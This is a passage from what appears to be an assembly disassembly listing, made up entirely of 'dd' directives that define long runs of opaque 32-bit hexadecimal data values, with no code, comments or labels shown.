		dd 537AA8B5h, 0E425F32Ah, 2D041398h, 36C50702h,	704D9E1h
		dd 0B37F17C1h, 53595400h
		dd 328CC95h, 471C1998h,	0B5F942Dh, 0D9B101BEh, 8BB535Bh
		dd 0ECB92EE9h, 1138BFD8h, 288EFF4Bh, 8D2DFF5Bh,	0F1C102FEh
		dd 0DC51D749h, 449D2F39h, 0EFD032A7h, 71D760E0h, 13174AF0h
		dd 7BF8912h, 0FEDA2F8h,	5AD56068h, 0A10D70E7h, 3AAC345Eh
		dd 2140E2E7h, 0B20A14Ch, 0DACC9544h, 49EB0894h,	0D5D2E969h
		dd 2A577461h, 3F4F39EBh, 20E6CB66h, 0F9B5CF08h,	0F529055Ch
		dd 608BAF5Eh, 0A74AE526h, 0B0B65885h, 0B3B85A18h, 0EAF781B7h
		dd 0F02BAE1Fh, 0B5B21BAh, 939F16F3h, 5BC14544h,	486B84Fh
		dd 41E25665h, 0B811CCB8h, 0A2C24BB1h, 5BAFA5B7h, 11DC9DEEh
		dd 3E183ADDh, 11439444h, 94B6BB13h, 18FCCB5Bh, 0F0F50C9Eh
		dd 63842768h, 61252579h, 5C033966h, 2E4520F9h, 30D834E3h
		dd 0F7F820BEh, 0A7F3C09Fh, 34F9B7CEh, 7DE7B562h, 0D6BBD630h
		dd 13E2F482h, 7E665829h, 1809945h, 1D2098FAh, 4258076Fh
		dd 0A3061C35h, 9AA9045Fh, 0EA4A1213h, 83292FC2h, 5870C4A2h
		dd 5F0B081Bh, 4A7F3BF6h, 6153DFC1h, 9D58E961h, 5B6CB63Fh
		dd 0AB1A13EFh, 0B7682A60h, 2DB2BD25h, 3EA92C82h, 0E0080808h
		dd 8126B42Ah, 9709418Fh, 62BCFD39h, 0BF13704Ch,	0AAA6CC22h
		dd 0C3C71360h, 1A534E4Ah, 0D6F3016Dh, 5F890809h, 0CB0BD1DDh
		dd 298E504h, 593FB068h,	67CF80E5h, 0F75B0BCDh, 3549DB78h
		dd 0EB85FC0h, 1B8AE9F0h, 1E3A5A81h, 174B7CCBh, 0B979AB13h
		dd 92B7C16Ch, 8A98101Ah, 5E4FC268h, 9881A8BDh, 6B0B7055h
		dd 0EB16E305h, 217F97BAh, 2DAD36E9h, 0EDF4C551h, 6B72B2EEh
		dd 0F16020CAh, 5BBAF01Ah, 213DE0EDh, 5C430E94h,	0F6A93A16h
		dd 28A750B8h, 0E2A52C74h, 8FCD7D19h, 0AA4EDA20h, 593B68A4h
		dd 0E083357Bh, 0BBD50459h, 0B4BE3C12h, 9BBA4533h, 132568FEh
		dd 5AC0D46Ch, 0D52E36DAh, 7F69B188h, 12DE97Ah, 0FC2EE0E8h
		dd 2FC978FBh, 1AFDD031h, 0C37F6071h, 0BBF0865Dh, 84320149h
		dd 5B09CDA6h, 2D26FFF4h, 4AEC4213h, 4DBD337Fh, 5DB9CD6Fh
		dd 4EAB2276h, 0C1418BAh, 0E40A478Fh, 0DDC3011Ah, 9569CA00h
		dd 27ABE966h, 30D7FEF8h, 0B5B97914h, 3A0BB8C6h,	7D76491Ch
		dd 0AD1E6000h, 0C5450161h, 0E94311B1h, 32136E93h, 0C0374803h
		dd 0B252E0EDh, 0C2800EEEh, 0B72FE48h, 0AEFC3DB9h, 0D6C06AEFh
		dd 58295A89h, 3CBE08B9h, 542F3B19h, 2192BFB0h, 66DDFFC8h
		dd 0C1D9EB60h, 7CCC157h, 33403BACh, 0EB54FCC9h,	0B779074h
		dd 0E3809DDEh, 4896D0D6h, 87EBFD84h, 0BEE68487h, 89B9F212h
		dd 3066B681h, 0E744200Eh, 6896487Fh, 0AF536A02h, 0C3FD491Ah
		dd 56F30845h, 0B39E314Eh, 40DB0C65h, 6EB55BD1h,	9EA2BD64h
		dd 8001C0D2h, 0B12EFDF1h, 66D3C048h, 0D7BC5A6Fh, 45E7C8A8h
		dd 0DBC2D192h, 97D97FB3h, 0FAC3847Bh, 9C95E6B2h, 0FEE46812h
		dd 0BF502088h, 7D15C7E0h, 0BB7A8300h, 6612298Fh, 0E9EB0431h
		dd 0EBFFDE19h, 0FEA246ACh, 41E2F95Fh, 3929665Ch, 82592A28h
		dd 306B6813h, 0B624ACB5h, 0E8EA4B31h, 0C94BDF14h, 0B7EED2F6h
		dd 74296868h, 5672FA83h, 2EB43ADFh, 218D3856h, 16858797h
		dd 0CB547399h, 0A650A2B1h, 28A4CBACh, 0CD89D51Eh, 0E608D522h
		dd 21C30BA0h, 9140D5D4h, 90692F27h, 0ED010919h,	5D929879h
		dd 42B8E300h, 30E73C39h, 0D1025A0Eh, 11F22DE0h,	0A0E0D892h
		dd 82DB8896h, 55D180DFh, 986DB422h, 9C614BF8h, 89BD88F8h
		dd 72C57543h, 0A8E280C0h, 0C0DA3AF6h, 0CAFE0287h, 0D104A9D0h
		dd 0CC8807F5h, 7558E622h, 0E5508A90h, 1DA5ADA3h, 0FEFA94A3h
		dd 0DAE8CBDFh, 0B9325Fh, 5B2C01D5h, 56639708h, 0EDC059h
		dd 2F3105EBh, 1FD7EE81h, 89B4776Bh, 5BFC5D7Bh, 535739EBh
		dd 0B90EBD70h, 0F9074D64h, 6B507530h, 92E1AB1h,	7A049A9h
		dd 531B50F1h, 4E2F3758h, 80BB72C4h, 36BF458Dh, 0A6B267F6h
		dd 9BA0D8FFh, 27E5EEB7h, 21D0C888h, 0E92DD4EAh,	609C8C3Eh
		dd 0BCCA5F87h, 0F36815Ah, 0C820D24h, 0FC2F863Eh, 84EC607Fh
		dd 0CD2D808Ah, 0C039980Dh, 32455289h, 3DBDA8A0h, 32286B41h
		dd 30462EA1h, 0A70B2DF6h, 963AE2F6h, 0C0163FE0h, 786CD6BEh
		dd 0D29C313h, 7CD87BB1h, 35B32F63h, 76E089DDh, 99A87096h
		dd 0E4888EB4h, 545709C4h, 0AC544C7Fh, 5561A088h, 0BA681810h
		dd 2E90B46h, 43F2769h, 0F16320Dh, 21E5D564h, 0AF301h, 6C56109Fh
		dd 4BE9C531h, 0FF9512E2h, 4F296AC8h, 3698AFFBh,	0CBE70781h
		dd 606A5814h, 0F5BFA0EFh, 7983165Fh, 2DAB9C01h,	2BA3001Ch
		dd 324C9B6Eh, 59FB0F67h, 0A0EE732Ch, 6B1F4E3Dh,	0E98E17DBh
		dd 56B9DA3Bh, 0E29A8882h, 9002A428h, 0F73ABD04h, 4FBDDCDEh
		dd 63977B63h, 57DB0C02h, 400104E3h, 0C0D9F7F8h,	4450927Eh
		dd 0FD32E92Ch, 0D95DEAD3h, 184562C2h, 0C183307Dh, 6F7FDDAFh
		dd 5F582A52h, 2B8B4F85h, 6000BA25h, 8057B151h, 0C02BE11Ch
		dd 628E06DFh, 9DFF1610h, 0DBFC01DFh, 0C15800CFh, 0B0054EE8h
		dd 0D82817C3h, 24408A38h, 1D529DB8h, 49A4F6BFh,	0D96BFD51h
		dd 0EE2D135Dh, 18E93644h, 0EED79788h, 0A3205B0Fh, 0B1F2031Fh
		dd 0F18A22D2h, 0F787E8A9h, 0B542C5EEh, 0D894BB2Ah, 9B0C0818h
		dd 686D37Bh, 51D93A89h,	6C9F04ECh, 0AA92586h, 0F150B6FCh
		dd 82F71357h, 0D704BB39h, 61253D8h, 4FAD8D1Eh, 4F207F38h
		dd 0D02C61A8h, 42328958h, 17293746h, 0D525D32Fh, 0A1D6EB62h
		dd 8B47DF96h, 0D127B12Ch, 230E0B9Eh, 0CD5FF872h, 0F3CFC3AAh
		dd 49A85C5Eh, 983F896h,	46389668h, 0CDBE160Dh, 5E32BEFEh
		dd 0BDE148D5h, 0C51C0306h, 9BBF5718h, 3130FBF0h, 0D6E9FD0Bh
		dd 66EFCA2Bh, 30C37DD3h, 0CABD89C7h, 803D319Ah,	27F79376h
		dd 0CEDB229h, 0EB29D574h, 0C3253B23h, 5E518882h, 0D9494271h
		dd 0B0236295h, 69CFF80Ah, 96C9F006h, 617401BFh,	7E010926h
		dd 134A128Bh, 8766C2E0h, 0BB2C18DFh, 0B81827E3h, 0F4B7A150h
		dd 0A30C3024h, 4F4A9309h, 84181BDh, 52A98F02h, 0D1C00BA1h
		dd 0C1DFF473h, 9D51EE4Fh, 34DCDE01h, 0ED5DA0FAh, 0A4F135Ch
		dd 0F4938321h, 1ECE8F30h, 5E14D4h, 21E38144h, 0E9724A4Ch
		dd 13E59625h, 0A5B2C232h, 95A6599Eh, 0D89EC300h, 0BEEDE90Fh
		dd 0D29D18B2h, 0E289837Bh, 4514479h, 0AC6802C0h, 36DEBB40h
		dd 0BA929A40h, 971CF2A3h, 0BC34B657h, 37A18874h, 0A2026424h
		dd 40502641h, 737F31CCh, 1E7EBF61h, 0A30E2F4Ah,	5745493Eh
		dd 213CAD2h, 26C14840h,	81007D38h, 2816E6CFh, 46F17688h
		dd 0E9CD98D7h, 3400B76Ah, 0D7509CB9h, 6C1155Eh,	883FDD99h
		dd 2192C338h, 0EC295F9Fh, 0ED3D0EFFh, 40D86116h, 72550F67h
		dd 0CF6CE31h, 8042D66Fh, 5BB8C61Dh, 0ECF743Eh, 0E7C3458Fh
		dd 0FB92F5F8h, 6E8448B2h, 0A7A1CD06h, 823DF607h, 27847787h
		dd 0B2200608h, 58D65695h, 0D9BDA518h, 31479C95h, 7FFBCE7Eh
		dd 2C7B7E41h, 0CAED61A7h, 270DC3Ch, 0E7B551F3h,	0F975EB28h
		dd 42809E53h, 60ABE9DAh, 7F05BE6h, 0ED79489Fh, 477F12E6h
		dd 904F0036h, 0E9147689h, 960B485Bh, 0C94E6C5Bh, 62E75AADh
		dd 124A27h, 0A24D2FF9h,	0FBFFEC7Dh, 4AC5B67Ah, 0EC0037ACh
		dd 51F876Fh, 250D22E1h,	79FFE962h, 0BAC4283h, 9CDA6718h
		dd 8B75C26Ah, 0F160FD02h, 0C160F2Eh, 0A5AD5B79h, 0F0059695h
		dd 8122F41Eh, 3EFEE372h, 3D18E48Eh, 31B80A1Ah, 534B102Eh
		dd 26D45508h, 1AE60578h, 7064C149h, 0CA810509h,	5366A479h
		dd 69FB047Fh
		dd 82506372h, 0B47ED88Eh, 8BBE94EFh, 5FAC4138h,	0B558DF70h
		dd 765AED46h, 0B7358500h, 3EEA06AEh, 542DC731h,	4AB222E0h
		dd 0F5CA8012h, 5703D392h, 302F6044h, 699D7CC3h,	55C924D4h
		dd 99DA8FAh, 8605F20h, 745BD9E9h, 65B7DF77h, 0BD6ADB69h
		dd 0FB164997h, 5FAE622Ch, 63B86155h, 836E5405h,	0AE840845h
		dd 7D1BD6E6h, 7710671Fh, 7650B657h, 0D30B2E09h,	5681FBAh
		dd 8266A65Ah, 0BD0082C2h, 167D7546h, 0BBDDF71Dh, 3DD9055Eh
		dd 1520EFCDh, 4B4EF4FAh, 0C7D3EC69h, 2A546857h,	0BA4E3DA3h
		dd 3FF8E616h, 0BB4E9242h, 0E9520201h, 46860CE1h, 65BD828h
		dd 68670405h, 0FB8C698Ch, 0D1B30E53h, 0DB4BD3F6h, 7F9FB987h
		dd 98E98020h, 0FCE8CB20h, 8425B048h, 0BC129335h, 2D14C2Eh
		dd 526E4328h, 84CD6047h, 151F97FDh, 274214AEh, 5F8F7294h
		dd 0D6CBAC01h, 0D28B4F10h, 0FAE3FABCh, 4BE2FEC5h, 227D5EC9h
		dd 0A216D1DFh, 515A507Fh, 0FB524561h, 66E95161h, 215FD789h
		dd 5A9782DFh, 5590B56h,	0BD3DC27h, 0E174EA29h, 42D98842h
		dd 60E0F8A1h, 16C7B043h, 0C12406B0h, 4C0829EBh,	2C870965h
		dd 8EB164ECh, 57E4998Dh, 0EF95D26Bh, 4800FC54h,	0B9281205h
		dd 922D0563h, 0AA5B146Dh, 0B317CD16h, 0AE7213EAh, 9A9083A3h
		dd 4E5AEB32h, 80B50558h, 0D88B94B7h, 0C5839FBAh, 0E8A2CE29h
		dd 2C27A7DCh, 64C486FFh, 0B35E3EF2h, 9B445EB4h,	0AB166417h
		dd 0ACFB2C45h, 0C2A768B8h, 0D7D9FDF8h, 6ABB6601h, 6A98566Ch
		dd 5EF706DEh, 0A9B85B7Dh, 0A14AD31h, 68E8C6C3h,	4A36E529h
		dd 0F94C5917h, 2A2ED4AEh, 60ED998Dh, 322CC61Dh,	0F3017C26h
		dd 7644BD4h, 20E9C70h, 0E9544279h, 0FAAEABADh, 9F909FCBh
		dd 640905F8h, 846EB51Eh, 0FF8928C7h, 0CF31B6DDh, 196F03Ah
		dd 0A9D19DA3h, 17B87F9Ch, 0C40EBDA4h, 44BFB668h, 0A8DF9EA6h
		dd 48FE8B90h, 99D32235h, 58644FD4h, 55CDFE35h, 0C502F32Fh
		dd 0D7AAE9F6h, 7FF35343h, 0E25D3624h, 910D7B02h, 28005522h
		dd 4215E62Dh, 5AE7C24Ch, 8808E44h, 18139BFh, 7E0CA5AFh
		dd 0DCC21374h, 0EE28F275h, 3CD2B147h, 305C226h,	4B345FB5h
		dd 12FA844Bh, 348AF890h, 0FCEA2458h, 0A7A89760h, 967187CBh
		dd 4AD0BF81h, 7C306BB2h, 7FC341A1h, 808C78F8h, 0C1612145h
		dd 41DE68D1h, 7CDFE901h, 13593BF5h, 0ADF37AECh,	0C88E444Ah
		dd 0E05F09ADh, 4A208050h, 0D61CBB52h, 0D9DA63EDh, 637059C1h
		dd 324BBFD8h, 1A6858AEh, 0C250DE84h, 5E2D8032h,	8A574D39h
		dd 705C801h, 1F685902h,	6086542Fh, 7BED75CBh, 0D6D6F724h
		dd 823D850Eh, 0CEEE092Eh, 85575B7Eh, 0DBD509C0h, 579C378h
		dd 4ADAA409h, 7F12A229h, 496803B2h, 53354F95h, 0E429CA21h
		dd 0A6E48933h, 7FB1E84Dh, 0B724B70Eh, 0C169A040h, 310BE81Dh
		dd 2CEA5617h, 0ECBD5EB1h, 36780958h, 0F681548Fh, 304E57A9h
		dd 461FE60Ch, 34A4BD6Ah, 0C420103h, 98C1E010h, 32073016h
		dd 0D902A30Ch, 84FB724Ah, 0C081A70h, 0FE5E1404h, 0AE107691h
		dd 0EFD3D879h, 49A56868h, 0DD1C5AD5h, 0B1D7ED5Bh, 443BFEFEh
		dd 0BBC65CFCh, 800F1124h, 0FF1C6918h, 4DFF35A9h, 0F6E9845Fh
		dd 79CABF05h, 0BFD47C12h, 0D1815335h, 404E4C5h,	0FBD3A3D8h
		dd 4057D322h, 3B167902h, 14A2386h, 325D30E4h, 9A842A01h
		dd 18DD0710h, 93E49C2h,	0AD1695CBh, 2826F304h, 0F0FF692Ch
		dd 0C4BFC367h, 0C41633DDh, 9A51293Eh, 4A82BDBh,	5687D84Ah
		dd 8709E925h, 5E60BB54h, 0A24B7E0Ch, 5F44A59Ah,	0DA200BEh
		dd 4F161771h, 89B7E5FCh, 44BF79DCh, 917F0AEh, 0BA005D9Fh
		dd 53BA46BBh, 648F0CC0h, 2DE9F486h, 2353ED9Ch, 303E6C2Fh
		dd 5F48C8EEh, 0C2B7CE68h, 0C715D9Bh, 0ABB95160h, 1AD02F7Eh
		dd 15FA1FFh, 486157D1h,	843E39C9h, 72B7BBFAh, 0B23BBC92h
		dd 0E1C85E5Eh, 3812A834h, 813A252Fh, 0C8215DD1h, 926D34Bh
		dd 0D120168Dh, 6A3AB337h, 0E592821Ch, 0CDF81204h, 68C2F70Eh
		dd 7AE61D9Eh, 6B59C0F0h, 2F12113Ah, 0ABD9AC17h,	24489E8Bh
		dd 7BD2532Dh, 14AB0120h, 0EDD3F793h, 0A5281C24h, 7E5A20D4h
		dd 0FF570B2Fh, 0D51F09A2h, 354020DDh, 171A576h,	80E7814Fh
		dd 0D875EC62h, 2225F6CFh, 8E1F628h, 0B8016A38h,	271F6B26h
		dd 9C5430E8h, 2C094F3Ch, 0BD1C31F8h, 70F0F4Bh, 0B2BF7321h
		dd 0A23077C4h, 0E8C024BFh, 69045C05h, 0BA7EC325h, 0A413A640h
		dd 0AF0CC127h, 7055BF20h, 0D1170489h, 0F91657EEh, 0E5DEED5Eh
		dd 0B5B44EFh, 6A9B2231h, 5B0BB35Ah, 0DD25B375h,	0E3E91921h
		dd 56D674DCh, 4F7C60BDh, 0D374E194h, 0A8F05F31h, 45BB4EE9h
		dd 82F82112h, 0D1D7F665h, 5FC66F13h, 0C73FBD52h, 5D170987h
		dd 208BF601h, 0E95E1708h, 449DF8DCh, 0BE60A1D7h, 2D66F137h
		dd 2C6C7B0Dh, 0A65F2C62h, 0C1FE0F54h, 0C9FC9745h, 9BCEC79h
		dd 7D4B209Ch, 28939E82h, 0C1EE5D04h, 0ECC72980h, 51955E1Bh
		dd 7AE950A9h, 0C8F5215Eh, 0FE04492Ch, 84FB71EEh, 4ADD00DAh
		dd 5E0C937Ah, 61037198h, 0E91FD776h, 0ED4B7B42h, 537A43DDh
		dd 48BB0C97h, 72BDE006h, 0B52EAB0h, 0EFE916B6h,	0E59E26D6h
		dd 4CE7A2A5h, 0C5C67D32h, 0E787659Ch, 0E10372B1h, 23420658h
		dd 6EEE680h, 0FBE9420Ch, 0B755381Bh, 0D5A14DCBh, 0E290A752h
		dd 0A8FBD7A8h, 95902CBFh, 55165C29h, 3E6EB103h,	10F68552h
		dd 6316E339h, 39A1F07Bh, 0CF8FF93Fh, 0B8BC53BEh, 85FC4B70h
		dd 17B9EDE4h, 4916155h,	35629282h, 0AAA77C4h, 0A439E088h
		dd 540995C1h, 0D0E5F77Ah, 93BD56A5h, 0ADC7525Dh, 2652DFC4h
		dd 0F9D1E0C7h, 5DCAF7FDh, 527A0F5Eh, 2A68129Ch,	553F305h
		dd 238B14B1h, 0C87A98FBh, 356A06BFh, 0ED30583Ah, 0FB154913h
		dd 520EFBCBh, 16E93DBAh, 39F2EA03h, 0ADC70D4Eh,	1A22777Bh
		dd 48575FFEh, 9DAB3DACh, 0DC09C4D3h, 0DB665507h, 716CF72Dh
		dd 66E9702Eh, 74CC24Dh,	50D87F09h, 9C309F4Ah, 6B068097h
		dd 0DDA91A7h, 6ABEBD12h, 2D015112h, 2262A518h, 0BE7E842Bh
		dd 0A17A3F83h, 0A1307D27h, 721D1473h, 3C04EB40h, 0C03AC22Dh
		dd 5495EA6h, 0DE476238h, 0BDA24301h, 0A47F9E9Ch, 5D5CEB72h
		dd 4AD502BCh, 0DD4E7613h, 0A050A26h, 8082E59Dh,	5A26745Fh
		dd 88B5D6E9h, 59797FB1h, 455EAC84h, 1B19814Eh, 0F4CC6EADh
		dd 495A40E4h, 4282B5FDh, 9C0CEFFh, 771A6EE9h, 69121444h
		dd 0AC8FED9h, 2C681552h, 4A784444h, 3CE2F497h, 0DB2B3EF3h
		dd 8CCCE90Ch, 75092D56h, 42456B63h, 880702C7h, 0A70BD910h
		dd 8CC10406h, 338B5C4Ch, 5A50488Fh, 6EE0E015h, 0C9795F82h
		dd 0FEE3163Dh, 0F7C407F9h, 2868001Eh, 953F5001h, 590952F1h
		dd 0B578547h, 0D21EEDF4h, 0AED8C565h, 817A73F1h, 3E367B07h
		dd 0ED81B691h, 7ED4B0C4h, 3B2B2F9Dh, 20A311A0h,	31984177h
		dd 9F59D309h, 0A5820484h, 65A40112h, 7343E068h,	1B6171Eh
		dd 20B2381Eh, 17E2FF8Dh, 0C089595Fh, 336E534Bh,	7B110A95h
		dd 0D404C500h, 2C82D71h, 291C651Bh, 78805D0h, 0FFB1088Fh
		dd 0F9C7010Bh, 0D81FC1C8h, 2AE83BFEh, 0B7DAEEE4h, 0B762B102h
		dd 7E77309Bh, 6E6180Eh,	0B01D50FFh, 0F61B6658h,	6B7EAFE8h
		dd 0F88E06E8h, 30F4976Ch, 4189AF3Ch, 56705FD2h,	5460497h
		dd 0B8EFC11Ch, 0B8110F31h, 0D090327Ah, 182D78BFh, 12312265h
		dd 519C98E9h, 368BE01h,	0F42E2B0Dh, 5B805DA2h, 26641205h
		dd 65900444h, 3A7CD079h
		dd 0FFA0D431h, 2EB57670h, 1318E248h, 89E48063h,	0B723C858h
		dd 0B08E1A8h, 0F9E183E9h, 5CAC2A59h, 0BEA194E4h, 87CD21F7h
		dd 7B753522h, 2894B167h, 0E89C0412h, 0C338EFFEh, 8A79BD5Dh
		dd 0E9DD01E0h, 0E4E34E36h, 0DB4134E8h, 3D652620h, 5910307Eh
		dd 0C15B096Eh, 21588AE0h, 0D32A7903h, 22D6C014h, 20DE4912h
		dd 8E808A58h, 5E71650Ch, 2061534Ch, 205968EDh, 0CCB504A9h
		dd 68FECCFEh, 5838D72Ch, 33AAE961h, 573C8C63h, 0B5E225AFh
		dd 5A24A37Fh, 8076C21Bh, 0B0F2B1BDh, 4E1B771h, 5E9552A6h
		dd 995E1C5Fh, 0C2546590h, 4D048692h, 0D0153B8Dh, 75979288h
		dd 0B1585E79h, 8907011Eh, 19E23AD0h, 2F5915D9h,	40D8BFD1h
		dd 6CA58305h, 1438AE85h, 0CE680057h, 0E9448D2Dh, 42B4F7B2h
		dd 0C373DCEBh, 5EA50568h, 0C51A1220h, 0FF818240h, 51C2F925h
		dd 2D4BE5F5h, 57203E6Ch, 1B569FCDh, 4136B2C9h, 5A74A21Ah
		dd 1C6975BBh, 0D5681D32h, 0B90E430Bh, 0D20A5Bh,	61CFE1DBh
		dd 1F9829E2h, 0EE5F3FEEh, 6B3879F1h, 4A27680Bh,	8AE04FFCh
		dd 0CA164C0Ch, 3107EF42h, 639FFD7Eh, 0D788076Fh, 0E44C5150h
		dd 8CFB5F4Eh, 6B905D3Dh, 80D6FE61h, 0CACFF4C1h,	0FD895FBDh
		dd 512C576Ch, 0A089093Eh, 0FCCDE60Fh, 75CC4AC2h, 0B34A0B00h
		dd 0D340BDE2h, 0C33D8047h, 0ACB90DBh, 0BE15245Eh, 144A09FCh
		dd 478509DAh, 0CF141D1Ah, 0FB89E733h, 0EF9435F8h, 70F66850h
		dd 0BA759536h, 94E300A0h, 25039D5Eh, 595CDF29h,	7A7075C9h
		dd 875A1180h, 2CAF3C4Ah, 2402818h, 2FCE7709h, 89F416C0h
		dd 0ABBE44CFh, 0EDC574AAh, 3F1210B7h, 9E575D2Dh, 0CD69304Ch
		dd 1F6E241h, 774DF3Bh, 631D86F2h, 40E4A66h, 54F71CBBh
		dd 2D16C251h, 3C0053FAh, 81178273h, 300D3AE6h, 0DF664623h
		dd 0FA137059h, 0D9BEF129h, 5C3560CAh, 0D985B250h, 6108B8D0h
		dd 725B170Ch, 9E5E0020h, 97232D57h, 48DA258Eh, 99AA3077h
		dd 12C2AC69h, 4AA7F91h,	55BE33D6h, 67A24A2Bh, 4FA1E9C2h
		dd 4C5C22D7h, 0EE660FE1h, 5B4F3CBCh, 6C179FA9h,	616DC9EBh
		dd 0C20BD215h, 835E7D4Ah, 0F839ACAh, 0E743EB37h, 713EA85h
		dd 67451931h, 67731973h, 0C81886E7h, 0A1E2328h,	0A4261B49h
		dd 0DD6C292Fh, 56C80243h, 0F2A822E9h, 0A60BF581h, 754324D7h
		dd 0A4DF66BAh, 0E4F5CDA7h, 0D9B680DAh, 0C17FB82Bh, 9F48B60Ch
		dd 3EAE2120h, 5F54BE04h, 4E6D9AFFh, 0E98407FDh,	2D9DBC7Fh
		dd 0BDE7762Dh, 15EF851Ah, 0D120ABF5h, 5573697Eh, 0F1C31B0Bh
		dd 0DF688550h, 5CD6466Ch, 0F707EDFAh, 57B02E0Eh, 895F5E11h
		dd 4E24E9E4h, 8BAB8DDDh, 905D3BF4h, 1C66B0E9h, 3B4BB551h
		dd 225962F6h, 9092B9Ch,	0C27D5402h, 6D775EF2h, 71CE2C21h
		dd 3F5E7C4Dh, 77EAE957h, 0F275F862h, 1E1F9CDEh,	0C2CB7022h
		dd 0C824489Bh, 0B003C156h, 4031A26h, 0FE15A60Ch, 337B012Ah
		dd 3082272Dh, 52721A0Ch, 8B81B5F8h, 0DF4412C5h,	0E825926Ch
		dd 0E42E7C11h, 7C2EC828h, 5110BB5Bh, 0DA298BFEh, 55C1380h
		dd 3D73AC21h, 0CF689A83h, 98B1411Eh, 0F9BD5500h, 421D1E1Eh
		dd 0EA5279D3h, 465090A8h, 0A35E1D3Ch, 0B2CD800Dh, 0E91C267Bh
		dd 1696602Ch, 8F6716Bh,	0E90F46D4h, 0C9FFB6B9h,	60E37EE7h
		dd 0D3646B7Fh, 35037E00h, 23E9C4Ch, 8080A5A1h, 462BB9B2h
		dd 497526C6h, 0E3CE0336h, 0C9AF66BFh, 58B535D8h, 0AB574B76h
		dd 551984C7h, 54166665h, 11C72FEBh, 3C307E60h, 0F0BA5230h
		dd 34880417h, 0BF004AA8h, 0FA5931E8h, 3DE9CF01h, 33C710C0h
		dd 247BE0Bh, 8975E489h,	0C00B5D82h, 7D692BD5h, 86E9C3C8h
		dd 0F2813896h, 77B3788Ch, 5F32C07Bh, 619F705Ch,	22AB77Bh
		dd 23206895h, 516351DEh, 0F6FE8531h, 532193E7h,	0C52419E9h
		dd 80AEC3C0h, 6588EF4h,	55C613CEh, 48EF4D6h, 0A128B4EAh
		dd 0A888AE4Dh, 22DC30E9h, 87CB2926h, 0D0972E90h, 0BF7D9025h
		dd 5909ED6Ch, 0D45E6A77h, 24E22DBDh, 25EEF460h,	9FBD4E9Dh
		dd 0A5E9BAFBh, 0C4035776h, 0A9D57ED8h, 0B8BDCBFh, 1E63B8E9h
		dd 0AC3E36F8h, 32C05066h, 7ACF980Dh, 0A593B75Ah, 0FDE2EBCCh
		dd 881691C5h, 3100FE84h, 814E0B35h, 2C42C2CEh, 853A27h
		dd 0C4C88C05h, 22B9F501h, 61EE5065h, 2AE09FC2h,	2459DFD8h
		dd 89D914D2h, 8E1BC02Ch, 0B1BEA227h, 0B57A5FD9h, 0E1AE3144h
		dd 29CC2589h, 8BCA8F6Fh, 80CEEC57h, 81A1CE21h, 45B37A5Fh
		dd 680F84h, 0A2361A35h,	0D06BF437h, 0AA0FA4B5h,	12B32146h
		dd 857109Fh, 42771C6Bh,	0E9842139h, 1C414926h, 0BB341FFCh
		dd 0BC5A4AD6h, 0BE68A0B9h, 6398BF7Eh, 0BA8063E2h, 0EB6912B2h
		dd 0F0AA8674h, 0D830AC13h, 0C9F35B16h, 0EAB1B517h, 41C956CCh
		dd 0C6DC00F2h, 983E12DBh, 0E2031289h, 7D7CCD41h, 21E846FBh
		dd 0A8B7AC83h, 63526834h, 0D4FC4F61h, 5F10D14Ch, 593E92E9h
		dd 0F2856297h, 68C744E3h, 1418DA2Dh, 927C951Fh,	81BC0A58h
		dd 2007D9C1h, 0C941D264h, 0EA56523Ah, 5E8955E6h, 539AFFD9h
		dd 56C84233h, 0B57C2784h, 6102DEF2h, 2EF047E9h,	82B451ACh
		dd 86667930h, 68B021B0h, 94FEC424h, 9F3B4183h, 5E2FD975h
		dd 9D1CA748h, 0E9418459h, 847269D7h, 0D0662E03h, 0BCECC116h
		dd 30120055h, 84E9689Fh, 825D81ADh, 7352A518h, 0A298F63Bh
		dd 11CB5C08h, 58A80C5Eh, 0EF0481BFh, 696D4F48h,	0A2C796E0h
		dd 6934D408h, 11E90FA3h, 471CD4Ch, 136462B7h, 3E0A34C0h
		dd 0B1054A0Dh, 9DA66F18h, 35AC4E10h, 970BDC31h,	7A945F32h
		dd 8332579Dh, 2FDCD3D5h, 0AC17B7F1h, 323BCCBBh,	28B15103h
		dd 3707E1C0h, 3EAC0606h, 8BA2274Ah, 0FB85E883h,	351AC1Bh
		dd 0C73BA8BEh, 0ED31D13Fh, 452C1764h, 6CD05154h, 5A537D8Bh
		dd 0C00740FCh, 0E4210435h, 48FFAC83h, 5E9E0260h, 8E4D0B7Dh
		dd 340D00F2h, 90F5214Fh, 5AC12118h, 44FE8993h, 0D5028BA5h
		dd 51CBBB41h, 0FA613925h, 0CC7BECB8h, 0A10D1F07h, 5879573Ah
		dd 2D05009Eh, 35181E5Eh, 3C24E3F5h, 5C245890h, 532A405Ah
		dd 0B0ECD355h, 683B51E7h, 14F29398h, 7FB839BFh,	3153FD02h
		dd 0B079DFE9h, 0F181642h, 0B039C7Dh, 0E9D5619Bh, 0BC534ABFh
		dd 8DD6075Ah, 616D247Dh, 0E5028CEDh, 13947F11h,	11C081Ah
		dd 3D75E914h, 0D8E3307Eh, 561AA540h, 0F70BDABFh, 0E90420F0h
		dd 2CE36E7Fh, 1F8ED4EBh, 0EE1E4C08h, 0B23EBB46h, 91222405h
		dd 44116603h, 1ECBB055h, 4091F01h, 7AC24C1h, 1671B7F3h
		dd 593E2A7Eh, 37F2D06h,	322DB4Dh, 5456F2F3h, 0E2B16530h
		dd 4527F0F9h, 660FD490h, 9C33C35Fh, 1C9FDDC2h, 0F989F788h
		dd 17C2EC28h, 0DEC0BCB6h, 0E3A06117h, 22681E66h, 23A64F29h
		dd 0C5FF651Eh, 0BA5C6443h, 0C2F482E9h, 8001D06Ch, 0F5C119EDh
		dd 5AD5C5D5h, 7EEA62C3h, 445728CBh, 30EC204Dh, 0DB95B925h
		dd 3E688500h, 0C30EE4Ch, 776472BAh, 47B800A3h, 315AE754h
		dd 0CA2AE9D0h, 0D982E619h, 4BDF63DDh, 5D78EBF0h, 2F654134h
		dd 0FFCEF1F5h, 0CC2FAE6Dh, 290B8177h, 954EC124h, 88891857h
		dd 8C239F61h, 49F142D1h, 0FAC7602Dh, 2DE8714Eh,	3CA7E550h
		dd 98E0354Fh, 0B6DCC9DEh, 0F603D89Fh, 861716F4h, 540EB07Ch
		dd 8584620Ch, 0B5C8E501h, 0EB5F4705h, 0F27F2E69h, 29E98428h
		dd 0EC4A67B0h, 0EBE74B95h, 4F836368h, 0C8BCB6E9h, 16982689h
		dd 1D2BDB5h, 0C83110E8h, 87E3F868h, 0F1C5D709h,	5AE5BF26h
		dd 1B0B2580h, 0BA4F48ADh
		dd 0C05F0D04h, 514FAA7Fh, 177B2479h, 42AD83BBh,	40669581h
